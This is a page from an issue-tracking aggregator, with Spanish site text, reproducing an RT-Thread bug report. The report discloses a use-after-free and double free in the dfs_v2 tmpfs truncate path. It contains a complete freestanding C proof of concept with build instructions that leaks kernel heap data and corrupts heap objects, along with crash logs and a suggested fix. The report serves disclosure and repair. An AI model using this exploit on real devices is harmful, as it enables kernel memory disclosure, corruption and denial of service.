[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call
Los mantenedores suelen responder en 1 día
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 2/5
- Tiempo estimado
- 1-3 horas
- Aptitud para principiantes
- 78/100
Línea de trabajo
Lee components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c, especialmente dfs_tmpfs_truncate(), y compara el manejo de realloc de longitud cero con el comportamiento del heap descrito en la incidencia. Empieza siguiendo cómo truncate actualiza el puntero a los datos y los tamaños de los archivos; el resultado esperado es que truncar a cero deje un estado coherente, que las lecturas posteriores devuelvan cero bytes y que los errores de asignación informen -ENOMEM.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call
RT-Thread Version: master (v5.4.0-dev, verified unfixed on 2026-10-20); introduced by commit 75b4f3d83a473c761fb1b08e6f1e08284d944d57 (2023-09-20, PR #8063); first affected release v5.0.2 — v5.0.2 / v5.1.0 / v5.2.0 / v5.2.1 / v5.2.2 / v5.3.0 / master all affected (verified by reading the file at each tag).
Affected area: Filesystem (components/dfs — dfs_v2 + tmpfs)
Hardware-BSP vendor: Other
Architecture: all (any config with RT_USING_DFS_V2 + RT_USING_DFS_TMPFS); reproduced on aarch64 (QEMU virt, RT-Smart) and Cortex-M33 (RP2350)
Board and hardware details:
- QEMU
qemu-virt64-aarch64, RT_USING_SMART + RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted, ELF rootfs on elm/FAT (virtio-blk). - Raspberry Pi Pico 2 W (RP2350): pico-sdk application linking the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources, USB CDC console.
Develop Toolchain: GCC (official CI aarch64-linux-musleabi gcc 7.3.0 kernel build; arm-none-eabi 10.3 for RP2350)
Describe the bug
dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c, added in commit 75b4f3d8) does:
ptr = rt_realloc(d_file->data, offset);
if (ptr == RT_NULL)
{
rt_set_errno(-ENOMEM);
return 0; /* <-- reports SUCCESS */
}
rt_realloc(ptr, 0) is specified by both RT-Thread heap backends to free the block and return NULL:
rt_memheap_realloc()(src/memheap.c):if (newsize == 0) { rt_memheap_free(ptr); return RT_NULL; }rt_smem_realloc()(src/mem.c):else if (newsize == 0) { rt_smem_free(rmem); return RT_NULL; }
So the completely legal call ftruncate(fd, 0) on a tmpfs file that has data:
- frees
d_file->data, - returns 0 (success) to the application,
- leaves
d_file->datadangling andd_file->size/vnode->sizestale.
Every subsequent operation on the file operates on freed kernel heap memory:
read()→memcpy(buf, &d_file->data[pos])— kernel heap UAF read (info disclosure, incl. allocator metadata);write()→memcpy(d_file->data + pos, buf, len)— kernel heap UAF write;unlink()/close(O_TRUNC)/open(O_TRUNC)— secondrt_free()of the same chunk (double free);- with
RT_USING_PAGECACHE(default y under RT_USING_SMART),close()flushes the dirty page and deterministically data-aborts the kernel indfs_aspace_flush()(dfs_pcache.c:1733) becauseaspace->vnodehas been corrupted by the UAF write.
Reproduction 1 — QEMU, RT-Smart, unprivileged user process, only official syscalls
Build bsp/qemu-virt64-aarch64 with RT_USING_SMART + RT_USING_DFS_TMPFS (page cache default on), FAT rootfs. The freestanding user program below (raw svc, no libc) mounts tmpfs at a pre-created /tmp2 directory, then exercises the bug. Boot, then:
msh /> sys_log 1
msh /> /ftrunc_uaf.elf
[poc] mount(/tmp2, tmp) ret = 0x0
[poc] open(/tmp2/a) fd = 3
[poc] write(A pattern) n = 0x800
[poc] control ftruncate(fd,4096) ret = 0x0
[poc] ftruncate(fd,0) ret = 0x0 <- returns success, buffer freed
[poc] UAF read n = 0x40
[poc] leaked0: 5b 70 6f 63 5d 20 66 74 72 75 6e 63 61 74 65 28 <- "[poc] ftruncat(e("
[poc] open(/tmp2/b) fd = 4
[poc] write(B pattern) n = 0x800
[poc] UAF write via fd_a n = 0x11 <- console output garbles right after:
the write corrupted a live kernel object
exception info: Data abort, fault addr 0x68
dfs_aspace_flush dfs_pcache.c:1733 <- triggered by close(fd) from user mode
dfs_file_close dfs_file.c:978
dfs_fdtable_drop_fd dfs.c:764
close dfs_posix.c:295
sys_close lwp_syscall.c:760
_SVC_Handler lwp_gcc.S:177
=> deterministic whole-kernel abort from one close()
The leaked bytes "[poc] ftruncat(e(" are the contents of the freed chunk after the kernel reused it for another live object (sys_log's copy buffer).
Control run (same program without the zero-length truncate): read returns the real file content ("AaAa..."), close/unlink are clean, system stays alive and later msh commands work.
GDB hardware-watchpoint evidence (break on dfs_tmpfs_truncate(offset==0), watch d_file->data = 0xffff00000029b6b0): the first write into the freed chunk comes from sys_log() -> lwp_get_from_user(dst = <freed chunk>) — the kernel has already reallocated the freed chunk while tmpfs still holds the dangling pointer; later watch hits show the UAF write mangling that live object. Full transcript: dfs_tmpfs_truncate(file=..., offset=0) backtrace sys_ftruncate -> ftruncate -> dfs_file_ftruncate, watchpoint Old/New values per hit.
Reproduction 2 — real hardware (Raspberry Pi Pico 2 W, RP2350, Cortex-M33)
A pico-sdk application links the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources (kernel-mode, kernel heap via RT_USING_SMALL_MEM_AS_HEAP) and runs a small shell over USB CDC. The trigger is the same dfs_poc sequence (mount tmpfs → open → write → ftruncate(fd,0) → read/write through the dangling fd):
dfs_poc
dfs_poc: tmpfs mounted at /dev
dfs_poc: wrote 512 bytes of AaAa pattern
dfs_poc: control ftruncate(fd,512) ret=0
dfs_poc: ftruncate(fd,0) ret=0 <- returns success
dfs_poc: read after truncate returned 64 bytes: 00 00 00 00 00 00 00 00 00 00 00 00 20 43 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
dfs_poc: write via dangling fd ret=17 (heap corruption)
20 43 00 20 (little-endian 0x20004320) is a small_mem free-list pointer: after ftruncate(fd,0) "succeeded", read() served 64 bytes of the freed chunk's allocator metadata to the caller — a kernel heap address disclosure — and the following write() stored 17 attacker bytes through the dangling pointer.
dfs_poc kill (adds unlink() = second free of the same chunk, then 16 same-size allocations):
dfs_poc: kill mode: unlink -> second free of same chunk
[
Console output stops mid-line during the spray: the double-freed chunk corrupts the free list and the subsequent allocations destroy the kernel output path itself. The board has to be power-cycled.
Expected result
ftruncate(fd, 0) must truncate the file to zero length and return 0 while keeping all internal state consistent: a subsequent read() returns 0 bytes, a write() starts a fresh allocation, and unlink()/close() free the buffer exactly once. An allocation failure must be reported as -ENOMEM, never as success. A fixed build prints read-after-truncate returned 0 bytes.
Full PoC (reproduction 1, self-contained)
/*
* RT-Thread dfs_v2 tmpfs ftruncate(0) UAF PoC — freestanding RT-Smart user program.
*
* Bug (V1): dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
* calls rt_realloc(d_file->data, 0). Both RT-Thread heap backends implement
* realloc(ptr, 0) as **free(ptr) + return NULL** (src/memheap.c rt_memheap_realloc,
* src/mem.c rt_smem_realloc). The NULL return is then treated as an allocation
* failure: the function returns 0 (= success!) while d_file->data is left
* dangling and d_file->size / vnode->size keep the old value.
* => any later read()/write()/unlink()/close() on the file operates on freed
* kernel heap memory: UAF read (info leak), UAF write (heap corruption),
* double free.
*
* Trigger is the perfectly legal POSIX call ftruncate(fd, 0).
*
* This program (unprivileged user process) does:
* 1. mount tmpfs at /tmp2 (svc 176, product boot-script equivalent)
* 2. create /tmp2/a and fill it with a pattern (kernel heap buffer allocated)
* 3. ftruncate(fd_a, 0) -> returns 0 [BUG: data freed, sizes stale]
* 4. [leak] read back via pread-equivalent lseek+read -> freed-chunk contents
* (memheap free-list pointers) instead of the old pattern
* 5. [alias write] create /tmp2/b of the same size (reuses the freed chunk),
* write through dangling fd_a, read fd_b -> foreign file modified
* 6. control: ftruncate(fd, 4096) grow path + normal IO still works, system alive
*
* Build: aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
* -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c
* Load : msh /> /ftrunc_uaf.elf (requires: sys_log 1)
*/
typedef unsigned long u64;
typedef long s64;
typedef unsigned int u32;
static inline u64 sys_call7(u64 n, u64 a, u64 b, u64 c, u64 d, u64 e, u64 f)
{
register u64 x8 __asm__("x8") = n;
register u64 x0 __asm__("x0") = a;
register u64 x1 __asm__("x1") = b;
register u64 x2 __asm__("x2") = c;
register u64 x3 __asm__("x3") = d;
register u64 x4 __asm__("x4") = e;
register u64 x5 __asm__("x5") = f;
__asm__ volatile("svc #0"
: "+r"(x0)
: "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
: "memory", "cc");
return x0;
}
/* numbers verified against func_table[] in the built rtthread.elf */
#define SYS_exit 1
#define SYS_read 2
#define SYS_write 3
#define SYS_lseek 4
#define SYS_open 5
#define SYS_close 6
#define SYS_unlink 118
#define SYS_mount 176
#define SYS_ftruncate 201
#define SYS_log 0xff
#define O_RDWR 0x00000002
#define O_CREAT 0x00000040
#define O_TRUNC 0x00000200
#define SEEK_SET 0
static int slen(const char *s) { int n = 0; while (s[n]) n++; return n; }
static void klog(const char *s) { sys_call7(SYS_log, (u64)s, slen(s), 0, 0, 0, 0); }
static char g_buf[160];
static void klog_hex(const char *tag, const void *data, int len)
{
const unsigned char *d = data;
for (int off = 0; off < len; off += 16)
{
char *p = g_buf;
while (*tag) *p++ = *tag++;
*p++ = '0' + (off / 16 % 10); *p++ = ':'; *p++ = ' ';
for (int i = 0; i < 16 && off + i < len; i++)
{
u32 b = d[off + i];
*p++ = "0123456789abcdef"[b >> 4];
*p++ = "0123456789abcdef"[b & 0xf];
*p++ = ' ';
}
*p = 0;
klog(g_buf);
tag = "";
}
}
static void klog_val(const char *tag, u64 v)
{
char *p = g_buf;
while (*tag) *p++ = *tag++;
*p++ = '0'; *p++ = 'x';
for (int i = 15; i >= 0; i--)
{
u32 nib = (v >> (i * 4)) & 0xf;
*p++ = nib < 10 ? '0' + nib : 'a' + nib - 10;
}
*p = 0;
klog(g_buf);
}
#define FILE_A "/tmp2/a"
#define FILE_B "/tmp2/b"
#define BUFSZ 0x800 /* chunk size kept identical for allocator reuse */
static char pat_a[BUFSZ];
static char pat_b[BUFSZ];
static char rbuf[BUFSZ];
static void fill(char *buf, char c0, char c1)
{
for (int i = 0; i < BUFSZ; i++) buf[i] = (i & 1) ? c1 : c0;
}
void _start(void)
{
klog("[poc] dfs_v2 tmpfs ftruncate(0) UAF PoC start");
/* 1. mount tmpfs at /tmp2 (mountpoint dir pre-created in rootfs image) */
s64 m = (s64)sys_call7(SYS_mount, (u64)"tmp", (u64)"/tmp2", (u64)"tmp", 0, 0, 0);
klog_val("[poc] mount(/tmp2, tmp) ret = ", (u64)m);
/* 2. create file A with pattern -> kernel heap alloc for d_file->data */
fill(pat_a, 'A', 'a');
s64 fda = (s64)sys_call7(SYS_open, (u64)FILE_A, O_RDWR | O_CREAT, 0666, 0, 0, 0);
klog_val("[poc] open(" FILE_A ") fd = ", (u64)fda);
if (fda < 0) goto out;
s64 n = (s64)sys_call7(SYS_write, fda, (u64)pat_a, BUFSZ, 0, 0, 0);
klog_val("[poc] write(A pattern) n = ", (u64)n);
/* control: ftruncate grow (non-zero) keeps working */
s64 cg = (s64)sys_call7(SYS_ftruncate, fda, 0x1000, 0, 0, 0, 0);
klog_val("[poc] control ftruncate(fd,4096) ret = ", (u64)cg);
/* 3. THE BUG: ftruncate(fd, 0) — legal POSIX truncation */
s64 r = (s64)sys_call7(SYS_ftruncate, fda, 0, 0, 0, 0, 0);
klog_val("[poc] ftruncate(fd,0) ret = ", (u64)r);
/* 4. UAF READ: sizes are stale, so the kernel happily memcpy's from the
* freed chunk: first 16 bytes are memheap freelist pointers, not 'A'/'a'. */
sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
for (int i = 0; i < 64; i++) rbuf[i] = '.';
n = (s64)sys_call7(SYS_read, fda, (u64)rbuf, 64, 0, 0, 0);
klog_val("[poc] UAF read n = ", (u64)n);
klog_hex("[poc] leaked", rbuf, 64);
/* 5. UAF WRITE via alias: file B of the same size reuses the freed chunk */
fill(pat_b, 'B', 'b');
s64 fdb = (s64)sys_call7(SYS_open, (u64)FILE_B, O_RDWR | O_CREAT, 0666, 0, 0, 0);
klog_val("[poc] open(" FILE_B ") fd = ", (u64)fdb);
n = (s64)sys_call7(SYS_write, fdb, (u64)pat_b, BUFSZ, 0, 0, 0);
klog_val("[poc] write(B pattern) n = ", (u64)n);
/* write through the DANGLING file A onto (very likely) B's live buffer */
static const char magic[] = "P0WNED-UAF-WRITE!";
sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
n = (s64)sys_call7(SYS_write, fda, (u64)magic, sizeof(magic) - 1, 0, 0, 0);
klog_val("[poc] UAF write via fd_a n = ", (u64)n);
/* read B back through ITS fd: if it shows the magic, the freed A buffer
* aliases B's live kernel heap buffer (cross-object corruption) */
sys_call7(SYS_lseek, fdb, 0, SEEK_SET, 0, 0, 0);
n = (s64)sys_call7(SYS_read, fdb, (u64)rbuf, 32, 0, 0, 0);
klog_val("[poc] readback fd_b n = ", (u64)n);
klog_hex("[poc] fd_b[0..32)", rbuf, 32);
{
const char *q = rbuf;
int hit = 1;
for (u32 i = 0; i < sizeof(magic) - 1; i++)
if (q[i] != magic[i]) { hit = 0; break; }
klog(hit ? "[poc] RESULT: UAF write crossed onto file B -> heap alias CONFIRMED"
: "[poc] RESULT: fd_b unchanged this round (allocator did not reuse; see GDB run)");
}
/* leave system alive: this is the non-destructive demo run.
* double-free/crash variant is ftrunc_df.elf (same steps + unlink). */
sys_call7(SYS_close, fda, 0, 0, 0, 0, 0);
sys_call7(SYS_close, fdb, 0, 0, 0, 0, 0);
klog("[poc] control: system still alive (msh returns normally)");
out:
sys_call7(SYS_exit, 0, 0, 0, 0, 0, 0);
for (;;) ;
}
Build (official CI toolchain for RT-Smart userland):
aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
-T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c
with lwp_poc.ld placing the image in the RT-Smart user range:
OUTPUT_ARCH(aarch64)
ENTRY(_start)
SECTIONS
{
. = 0x10000000;
.text : { KEEP(*(.text.first)) *(.text .text.*) }
.rodata : { *(.rodata .rodata.*) }
.data : { *(.data .data.*) }
.bss : { *(.bss .bss.*) *(COMMON) }
/DISCARD/ : { *(.comment) *(.note*) *(.eh_frame*) }
}
Reproduction-2 harness notes (RP2350): pico-sdk owns startup/clocks/USB CDC; the RT-Thread side needs RT_USING_SMALL_MEM_AS_HEAP (otherwise the system heap macros expand empty and rt_malloc silently returns NULL), the tmpfs root mount point must keep dentry paths slashed (mount at /dev, not /), and the OS tick must come from a pico-sdk hardware alarm (add_repeating_timer_ms → rt_tick_increase) because the Cortex-M SysTick exception is never taken in this pico-sdk crt0 environment. The trigger function is the same dfs_poc() sequence shown in the log above (mount, open, write 512-byte pattern, ftruncate(fd,0), read/write through the fd, unlink).
Root cause / suggested fix
static int dfs_tmpfs_truncate(struct dfs_file *file, off_t offset)
{
...
if (offset < 0) return -EINVAL;
if (offset == 0) /* explicit clear */
{
if (d_file->data) { rt_free(d_file->data); d_file->data = RT_NULL; }
d_file->size = 0;
file->vnode->size = 0;
/* drop cached pages if RT_USING_PAGECACHE */
return 0;
}
ptr = rt_realloc(d_file->data, offset);
if (ptr == RT_NULL) return -ENOMEM; /* propagate failure, NOT 0 */
...
}
Also worth reviewing the same rt_realloc(ptr, 0) pattern across the tree, and adding a negative-length check in dfs_file_ftruncate().
Other additional context
- Severity: CVSS 3.1 8.6 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — CWE-416 (UAF), CWE-415 (double free). Prerequisites (explicit):
RT_USING_DFS_V2 + RT_USING_DFS_TMPFSwith a mounted tmpfs (the documented way to provide /tmp); the attacker can execute code — an unprivileged user process under RT-Smart (reproduced) or any kernel-mode application/msh script. No malformed arguments:ftruncate(fd, 0)is the standard way to empty a file. Confirmed information disclosure (kernel heap contents incl. free-list pointers) and heap corruption primitives on both QEMU/RT-Smart and real hardware; deterministic kernel abort viaclose(). - Not related to #11737 (pread negative offset): different root cause (realloc(0) semantics misuse vs. offset validation), different trigger (a legal call vs. a malformed argument), different CWE.
- Introduced by
75b4f3d8(PR #8063, "tmpfs adds truncate functionality and unlink adaptations"); verified present and unfixed on master as of 2026-10-20.
- Lenguaje dominante
- C
- Estrellas
- 12.3k
- Forks
- 5.5k
- Merge medio
- 7 d 22 h
- PR fusionados (30 d)
- 30
Preparar el entorno
Inicia el contenedor de desarrollo del proyecto en tu navegador, con tu propia cuenta de GitHub.
- Sin Dockerfile ni archivo de Docker Compose
- Tiene una plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de RT-Thread/rt-thread
-
[bsp][stm32][bluepill] README「快速上手」缺少重新生成 MDK 工程这一步,按文档操作无法编译通过Posiblemente ocupada @moment-NEW la tomó hace 17 días. Abiertoin progress
Dificultad 2/5 1-3 horas Aptitud para principiantes 75/100
RT-Thread/rt-thread#11818 · 4 comentarios · 1 asignado ·
Los mantenedores suelen responder en 1 día
-
BSP BSP: Loongson bug RT-Smart
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
RT-Thread/rt-thread#11717 · 2 comentarios ·
Los mantenedores suelen responder en 1 día
-
Arch: RISC-V BSP BSP: HPMicro bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
RT-Thread/rt-thread#11687 · 3 comentarios ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
RT-Thread/rt-thread#11472 · 2 comentarios ·
Los mantenedores suelen responder en 1 día
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 25/100
RT-Thread/rt-thread#11898 · 2 comentarios ·
Los mantenedores suelen responder en 1 día
Todos los issues de RT-Thread/rt-thread
Issues similares
-
Mark ignored Mac OS partitions RecoveryOSContainer and iBootSystemContainerPosiblemente ocupada @meven la tomó hoy. Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
storaged-project/udisks#1559 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 71/100
awslabs/aws-checksums#121 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 86/100
Los mantenedores suelen responder en 3 días
-
Bad tag for language cardAbierto
Dificultad 1/5 Menos de una hora Aptitud para principiantes 68/100
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100